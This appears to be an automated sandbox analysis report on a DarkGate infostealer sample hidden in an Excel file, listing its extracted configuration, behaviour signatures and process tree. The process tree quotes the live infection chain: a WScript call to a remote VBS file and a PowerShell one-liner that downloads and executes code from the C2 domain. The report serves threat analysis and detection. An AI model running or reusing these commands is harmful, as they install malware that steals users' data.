Analysis
- max time kernel
1195s - max time network
946s - platform
windows10-1703_x64 - resource
win10-20240221-en - resource tags
- submitted
20/03/2024, 12:54
General
- Target ESAREA-ngoowrejjdebusx-1710889917.xlsx
- Size 56KB
- Sample240320-p46ynsha22
- SHA256 60332509742968a19b12375d995fa5f9c695962c08f7df4fe0dc1ef83fbdcfea
Malware Config
Extracted
-
darkgate
-
admin888
-
badbutperfect.com
-
anti_analysis
true
-
anti_debug
false
-
anti_vm
true
-
c2_port
80
-
check_disk
false
-
check_ram
false
-
check_xeon
false
-
crypter_au3
false
-
crypter_dll
false
-
crypter_raw_stub
false
-
internal_mutex
WZqqpfdY
-
minimum_disk
50
-
minimum_ram
4000
-
ping_interval
6
-
rootkit
false
-
startup_persistence
true
-
username
admin888
Signatures
- DarkGate
DarkGate is an infostealer written in C++.
- Detect DarkGate stealer 2 IoCs
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 4 IoCs
- Downloads MZ/PE file
- Executes dropped EXE 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Checks processor information in registry 2 TTPs 5 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 12 IoCs
- Suspicious use of WriteProcessMemory 9 IoCs
- Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\ESAREA-ngoowrejjdebusx-1710889917.xlsx"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "\\escuelademarina.com\cloud\AZURE_DOC_OPEN.vbs"2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'badbutperfect.com/nrwncpwo')3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\rimz\AutoHotkey.exe"C:\rimz\AutoHotkey.exe" script.ahk4⤵
- Executes dropped EXE
- Checks processor information in registry
-
-
C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +h C:/rimz4⤵
- Views/modifies file attributes
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_zjhtnloc.cej.ps1
AutoHotkey.exe
script.ahk
test.txt
memory/2244-254-0x00007FFCA3A30000-0x00007FFCA441C000-memory.dmp
memory/2244-190-0x00007FFCA3A30000-0x00007FFCA441C000-memory.dmp
memory/2244-217-0x0000024A44C70000-0x0000024A44E32000-memory.dmp
memory/2244-212-0x0000024A44220000-0x0000024A44230000-memory.dmp
memory/2244-197-0x0000024A444B0000-0x0000024A44526000-memory.dmp
memory/2244-194-0x0000024A441B0000-0x0000024A441D2000-memory.dmp
memory/2244-193-0x0000024A44220000-0x0000024A44230000-memory.dmp
memory/2244-191-0x0000024A44220000-0x0000024A44230000-memory.dmp
memory/3392-256-0x00000000049D0000-0x0000000004A43000-memory.dmp
memory/3392-257-0x00000000049D0000-0x0000000004A43000-memory.dmp
memory/4076-11-0x00007FFC84A60000-0x00007FFC84A70000-memory.dmp
memory/4076-179-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp
memory/4076-18-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp
memory/4076-19-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp
memory/4076-20-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp
memory/4076-22-0x00007FFCC5B40000-0x00007FFCC5BEE000-memory.dmp
memory/4076-24-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp
memory/4076-23-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp
memory/4076-21-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp
memory/4076-25-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp
memory/4076-26-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp
memory/4076-27-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp
memory/4076-28-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp
memory/4076-17-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp
memory/4076-16-0x00007FFC84A60000-0x00007FFC84A70000-memory.dmp
memory/4076-14-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp
memory/4076-15-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp
memory/4076-13-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp
memory/4076-0-0x00007FFC882F0000-0x00007FFC88300000-memory.dmp
memory/4076-12-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp
memory/4076-10-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp
memory/4076-9-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp
memory/4076-8-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp
memory/4076-6-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp
memory/4076-4-0x00007FFC882F0000-0x00007FFC88300000-memory.dmp
memory/4076-2-0x00007FFC882F0000-0x00007FFC88300000-memory.dmp
memory/4076-3-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp
memory/4076-1-0x00007FFC882F0000-0x00007FFC88300000-memory.dmp